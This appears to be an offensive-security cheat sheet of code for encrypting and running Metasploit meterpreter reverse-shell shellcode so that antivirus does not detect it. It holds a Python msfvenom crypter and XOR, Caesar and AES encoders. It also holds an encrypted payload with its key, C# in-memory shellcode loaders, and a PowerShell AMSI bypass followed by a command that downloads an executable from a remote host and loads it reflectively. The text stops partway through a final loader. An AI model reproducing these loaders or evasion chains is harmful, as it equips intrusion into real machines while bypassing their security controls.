Final size of csharp file: 691 bytes
[i] Encoding payload with type xor and key 250
[+] Encoded payload (C++):
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp
// xor-encoded with key 0xfa
unsigned char buffer[] =
    "\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8"
    "\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3"
    "\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a"
    "\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2"
    "\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf"
    "\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d"
    "\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2"
    "\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17"
\x05\x1c;

[i] Decoding function:
char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
    bufferx[i] = (char)(buffer[i] ^ 0xfa);
        
#
#!/usr/bin/python3

# Basic shellcode crypter for C# payloads
# By Cas van Cooten

import re
import platform
import argparse
import subprocess
from random import randint

if platform.system() != "Linux":
    exit("[x] ERROR: Only Linux is supported for this utility script.")

class bcolors:
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'

# Parse input arguments
def auto_int(x):
    return int(x, 0)

parser = argparse.ArgumentParser()
parser.add_argument("lhost", help="listener IP to use")
parser.add_argument("lport", help="listener port to use")
parser.add_argument("format", help="the language to format the output in ('cs' or 'cpp')", nargs='?', default="cs")
parser.add_argument("encoding", help="the encoding type to use ('xor' or 'rot')", nargs='?', default="xor")
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255))
parser.add_argument("payload", help="the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)", nargs='?', default="windows/x64/meterpreter/reverse_tcp")
args = parser.parse_args()

# Generate the shellcode given the preferred payload
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}")
result = subprocess.run(['msfvenom', '-p', args.payload, f"LHOST={args.lhost}", f"LPORT={args.lport}", 'exitfunc=thread', "-f", "csharp"], stdout=subprocess.PIPE)

if result.returncode != 0:
    exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}")

# Get the payload bytes and split them
payload = re.search(r"{([^}]+)}", result.stdout.decode("utf-8")).group(1).replace('\n', '').split(",")

# Format the output payload
if args.format == "cs": 
    # Encode the payload with the chosen type and key
    print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}")
    for i, byte in enumerate(payload):
        byteInt = int(byte, 16)

        if args.encoding == "xor":
            byteInt = byteInt ^ args.key
        elif args.encoding == "rot":
            byteInt = byteInt + args.key & 255
        else:
            exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")

        payload[i] = "{0:#0{1}x}".format(byteInt,4)

    payLen = len(payload)
    payload = re.sub("(.{65})", "\\1\n", ','.join(payload), 0, re.DOTALL)
    payloadFormatted = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
    payloadFormatted += f"// {args.encoding}-encoded with key {hex(args.key)}\n"
    payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};"
    if payLen > 1000:
        f = open("/tmp/payload.txt", "w")
        f.write(payloadFormatted)
        f.close()
        print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in CSharp format!{bcolors.ENDC}")
    else:
        print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}")
        print(payloadFormatted + "\n")

    # Provide the decoding function for the heck of it
    print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
    if args.encoding == "xor":
        decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
    {{
        buf[i] = (byte)((uint)buf[i] ^ {hex(args.key)});
    }}"""

    if args.encoding == "rot":
        decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
    {{
        buf[i] = (byte)(((uint)buf[i] - {hex(args.key)}) & 0xFF);
    }}"""

    print(decodingFunc)

elif args.format == "cpp":
    # Encode the payload with the chosen type and key
    print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}")
    encodedPayload = []
    for byte in payload:
        byteInt = int(byte, 16)

        if args.encoding == "xor":
            byteInt = byteInt ^ args.key
        elif args.encoding == "rot":
            byteInt = byteInt + args.key & 255
        else:
            exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")

        encodedPayload.append(f"\\x{byteInt:02x}")

    payLen = len(encodedPayload)
    payload = re.sub("(.{64})", "    \"\\1\"\n", ''.join(encodedPayload), 0, re.DOTALL)
    payloadFormatted  = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
    payloadFormatted += f"// {args.encoding}-encoded with key {hex(args.key)}\n"
    payloadFormatted += f"unsigned char buffer[] =\n    {payload.strip()};"
    if payLen > 1000:
        f = open("/tmp/payload.txt", "w")
        f.write(payloadFormatted)
        f.close()
        print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in C++ format!{bcolors.ENDC}")
    else:
        print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}")
        print(payloadFormatted + "\n")

    # Provide the decoding function for the heck of it
    print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
    if args.encoding == "xor":
        decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});
        """

    if args.encoding == "rot":
        decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255);
        """

    print(decodingFunc)

else:
    exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}")

AES

using System;
using System.Security.Cryptography;

public class AesEncryptionExample
{
    public static void Main()
    {
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };

        byte[] key = Encoding.UTF8.GetBytes("0123456789ABCDEF0123456789ABCDEF"); // 32-byte key
        byte[] iv = Encoding.UTF8.GetBytes("0123456789ABCDEF"); // 16-byte IV

        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);

        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace("-", "");

        Console.WriteLine("Encrypted shellcode hex: " + encryptedHex);
    }

    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)
    {
        byte[] encrypted;

        using (AesManaged aes = new AesManaged())
        {
            aes.Key = key;
            aes.IV = iv;

            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);

            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);
        }

        return encrypted;
    }
}

AES python helper

Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)

#!/usr/bin/env python3
import array, base64, random, string
from Crypto.Cipher import AES
from hashlib import sha256
import argparse, subprocess, os

def main():
	args = parse_args()
	lhost = args.lhost
	lport = args.lport
	key = args.key
	if not key:
		key = get_random_string(32)
	payload = args.payload
	method = args.method
	format = args.format

	''' generate msfvenom payload '''
	print("[+] Generating MSFVENOM payload...")
	result = subprocess.run(['msfvenom',
		'-p', payload,
		'LPORT=' + lport,
		'LHOST=' + lhost,
#		'-b', '\\x00',
		'-f', 'raw',
		'-o', './msf.bin'],
		capture_output=False)

	f = open("./msf.bin", "rb")
	buf = f.read()
	f.close()

	print("[+] key and payload will be written to key.b64 and payload.b64")

	''' encrypt the payload '''
	print("[+] Encrypting the payload, key=" + key + "...")
	hkey = hash_key(key)
	encrypted = encrypt(hkey, hkey[:16], buf)
	b64 = base64.b64encode(encrypted)

	f = open("./key.b64", "w")
	f.write(key)
	f.close()

	f = open("./payload.b64", "w")
	f.write(b64.decode('utf-8'))
	f.close()

	if format == "b64":
		''' base64 output '''
		print("[+] Base64 output:")
		print(b64.decode('utf-8'))
		print("\n[+] Have a nice day!")
		return
	if format == "c":
		''' c output '''
		print("[+] C output:")
		hex_string = 'unsigned char payload[] ={0x';
		hex = '0x'.join('{:02x},'.format(x) for x in encrypted)
		hex_string = hex_string + hex[:-1] + "};"
		print(hex_string)
		print("\n[+] Have a nice day!")
		return

def encrypt(key,iv,plaintext):
	key_length = len(key)
	if (key_length >= 32):
		k = key[:32]
	elif (key_length >= 24):
		k = key[:24]
	else:
		k = key[:16]

	aes = AES.new(k, AES.MODE_CBC, iv)
	pad_text = pad(plaintext, 16)
	return aes.encrypt(pad_text)

def hash_key(key):
	h = ''
	for c in key:
		h += hex(ord(c)).replace("0x", "")
	h = bytes.fromhex(h)
	hashed = sha256(h).digest()
	return hashed

def pad(data, block_size):
	padding_size = (block_size - len(data)) % block_size
	if padding_size == 0:
		padding_size = block_size
	padding = (bytes([padding_size]) * padding_size)
	return data + padding

def parse_args():
	parser = argparse.ArgumentParser()

	parser.add_argument("-l", "--lport", default="0.0.0.0", type=str,
		help="The local port that msfconsole is listening on.")
	parser.add_argument("-i", "--lhost", default="443", type=str,
			help="The local host that msfconsole is listening on.")
	parser.add_argument("-p", "--payload", default = "windows/x64/meterpreter/reverse_https", type=str,
		help="The payload to generate in msfvenom.")
	parser.add_argument("-m", "--method", default="thread", type=str,
		help="The method to use: thread/delegate.")
	parser.add_argument("-k", "--key", default="", type=str,
		help="The encryption key (32 chars).")


	parser.add_argument("-f", "--format", default="b64", type=str,
		help="The format to output.")

	return parser.parse_args()

def get_random_string(length):
	letters = string.ascii_letters + string.digits
	result_str = ''.join(random.choice(letters) for i in range(length))
	return result_str

if __name__ == '__main__':
	main()

Ceasar

CSharp shellcode

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp25
{
    internal class FileName
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[510] {0xfc.....};


            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                // For the current byte in 'buf':
                // 1. Cast the byte to a uint (unsigned integer).
                // 2. Add 2 to its value.
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte's range (0-255).
                // 4. Assign the result to the corresponding position in the 'encoded' array.
                encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            foreach (byte b in encoded)
            {
                hex.AppendFormat("0x{0:x2}, ", b);
            }

            Console.WriteLine("The payload is: " + hex.ToString());

            // Rest of your code...
        }

    }
}

VBA Shellcode

using System;
using System.Text;

namespace XorCoder
{
    public class Program
    {
        public static void Main(string[] args)
        {
            // Sample shellcode (replace with your own)
            byte[] buf = { /* your shellcode byte array here */ };

            // Encode using Caesar cipher by adding 2 to each byte
            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            uint counter = 0;  // Initialize counter

            foreach (byte b in encoded)
            {
                hex.AppendFormat("{0:D}, ", b);
                counter++;

                if (counter % 50 == 0)
                {
                    hex.AppendFormat("_{0}", Environment.NewLine);
                }
            }

            Console.WriteLine("The payload is: ");
            Console.WriteLine(hex.ToString());
        }
    }
}

XOR

CSharp – Encrypt csharp shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace XorCoder
{
    public class Program
    {
        public static void Main(string[] args)
        {
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
            byte[] buf = new byte[511] {
            0xfc,0x48,0x83,0xe4 };

            // Encode the payload with XOR (fixed key)
            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            int totalCount = encoded.Length;
            for (int count = 0; count < totalCount; count++)
            {
                byte b = encoded[count];

                if ((count + 1) == totalCount) // Dont append comma for last item
                {
                    hex.AppendFormat("0x{0:x2}", b);
                }
                else
                {
                    hex.AppendFormat("0x{0:x2}, ", b);
                }

                if ((count + 1) % 15 == 0)
                {
                    hex.Append("\n");
                }
            }

            Console.WriteLine($"XOR payload (key: 0xfa):");
            Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};");

            //// Decode the XOR payload
            //for (int i = 0; i < buf.Length; i++)
            //{
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);
            //}

        }
    }
}

VBA shellcode – Encrypt VBA shellcode

REMEMBER – Check if Word is running 32-bit or 64-bit

msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication

using System;
using System.Text;

namespace XorCoder
{
    public class Program
    {
        public static void Main(string[] args)
        {
            // Sample shellcode (replace with your own)
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };

            // XOR encryption
            byte[] encoded = new byte[buf.Length];
            byte XORKey = 250;
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(buf[i] ^ XORKey);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            int counter = 0;  // Initialize counter

            foreach (byte b in encoded)
            {
                hex.AppendFormat("{0:D}, ", b);
                counter++;

                if (counter % 50 == 0)
                {
                    hex.AppendFormat("_{0}", Environment.NewLine);
                }
            }

            Console.WriteLine("The XOR encoded payload is: ");
            Console.WriteLine(hex.ToString());
        }
    }
}


Running encrypted shellcodes

AES – Using python helper

plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)

plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)

using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.IO;

namespace ProcessInjection
{
    class Program
    {
        public enum Protection
        {
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_GUARD = 0x100,
            PAGE_NOCACHE = 0x200,
            PAGE_WRITECOMBINE = 0x400
        }

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

        private delegate Int32 ShellcodeDelegate();

        static void Main(string[] args)
        {
            Shellcode();
        }

        static void Shellcode()
        {
            // attempt heuristics/behaviour bypass
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
            if (mem == null)
            {
                return;
            }

            // decrypt the base64 payload - change these to your own encrypted payload and key
            string payload = "sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg";
            string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec";

            byte[] buf = Decrypt(key, payload);

            unsafe
            {
                fixed(byte* ptr = buf)
                {
                    // set the memory as executable and execute the function pointer (as a delegate)
                    IntPtr memoryAddress = (IntPtr)ptr;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);

                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));
                    func();
                }    
            }
        }

        private static byte[] Decrypt(string key, string aes_base64)
        {
            byte[] tempKey = Encoding.ASCII.GetBytes(key);
            tempKey = SHA256.Create().ComputeHash(tempKey);

            byte[] data = Convert.FromBase64String(aes_base64);

            // decrypt data
            Aes aes = new AesManaged();
            aes.Mode = CipherMode.CBC;
            aes.Padding = PaddingMode.PKCS7;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));

            using (MemoryStream msDecrypt = new MemoryStream())
            {
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))
                {

                    csDecrypt.Write(data, 0, data.Length);

                    return msDecrypt.ToArray();
                }
            }
        }

        static byte[] SubArray(byte[] a, int length)
        {
            byte[] b = new byte[length];
            for (int i = 0; i < length; i++)
            {
                b[i] = a[i];
            }
            return b;
        }
    }
}

Instruction:

Use the meterpreter_encryptor.py to create the encrypted base64 shellcode:

root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64
[+] Generating MSFVENOM payload...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 667 (iteration=0)
x64/xor_dynamic chosen with final size 667
Payload size: 667 bytes
Saved as: ./msf.bin
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...
[+] Base64 output:
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg

Take the key and shellcode and insert it into ProcessInjector.cs

// decrypt the base64 payload
string payload = "sZkMii [etc...]";
string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec";

Compile the C# code into an executable (e.g., metInject.exe) and serve it via a web server.

Inject the executable into a remote PowerShell process:

# AMSI bypass
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)

$bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');
$entryPointMethod.Invoke($null, (, [string[]] ('', '')));

AES – Csharp

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;


/*-----------------------------------------------
 * Simple-Loader.exe: Simple Shellcode Loader   |
 *                                              |
 * Author: @jfaust0                             |
 * Contact: joshua.faust@sevrosecurity.com      |
 * Website: SevroSecurity.com                   |
 * ---------------------------------------------*/


namespace goodTimes
{
    class Program
    {
        // CHANGE THESE VALUES --> Seriosuly, these should not be hard coded!
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };

        // MAIN
        static void Main(string[] args)
        {
            String app_name = AppDomain.CurrentDomain.FriendlyName;
            String usage = $"Usage: {app_name} <path_to_metasploit_payload>";

            // ENCRYPT PAYLOAD
            if (args.Length == 1)
            {
                if (!File.Exists($@"{args[0]}"))
                {
                    Console.WriteLine("[!] File Does Not Exist!");
                    Environment.Exit(1);
                }

                Console.WriteLine("[i] Encrypting Data");

                // Read in MetaSploit Byte[] Code from File
                String fileData = System.IO.File.ReadAllText($@"{args[0]}");
                String tmp = (fileData.Split('{')[1]).Split('}')[0];

                // Translate to Byte Array
                string[] s = tmp.Split(',');
                byte[] data = new byte[s.Length];
                for (int i = 0; i < data.Length; i++)
                    data[i] = byte.Parse(s[i].Replace("0x", ""), System.Globalization.NumberStyles.HexNumber);

                // Encrypt and Encode the data:
                byte[] e_data = Encrypt(data, key, iv);
                String finalPayload = Convert.ToBase64String(e_data);
                Console.WriteLine($"[i] Replace the hiphop variable with your new payload:\n\n\t String hiphop = " + '"' + $"{finalPayload}" + '"' + ';');

                Environment.Exit(0);
            }
            // THROW EXCEPTION IF MORE THAN 1 ARG
            else if (args.Length > 1)
            {
                Console.WriteLine(usage);
                Environment.Exit(1);
            }
            // RUN PAYLOAD 
            else
            {
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --> CHANGE ME!
                String hiphop = "ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o";

                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);
                nonsense(de_data);
            }

        }

        // Shell Code Loader
        public static bool nonsense(byte[] shellcode)
        {

            try
            {
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
                IntPtr hThread = IntPtr.Zero;
                UInt32 threadId = 0;
                IntPtr pinfo = IntPtr.Zero;

                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                WaitForSingleObject(hThread, 0xFFFFFFFF);

                return true;
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("exception: " + e.Message);
                return false;
            }
        }

        // Used to Load Shellcode into Memory:
        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(
          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId
          );

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
          IntPtr hHandle,
          UInt32 dwMilliseconds
        );


        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 256;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.Zeros;

                aes.Key = key;
                aes.IV = iv;

                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
                {
                    return PerformCryptography(data, encryptor);
                }
            }
        }

        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 256;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.Zeros;

                aes.Key = key;
                aes.IV = iv;

                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
                {
                    return PerformCryptography(data, decryptor);
                }
            }
        }

        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
        {
            using (var ms = new MemoryStream())
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(data, 0, data.Length);
                cryptoStream.FlushFinalBlock();

                return ms.ToArray();
            }
        }

    }
}

Ceasar

Csharp shellcode

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;

namespace ConsoleApp1
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
            uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
            uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,
            UInt32 dwMilliseconds);

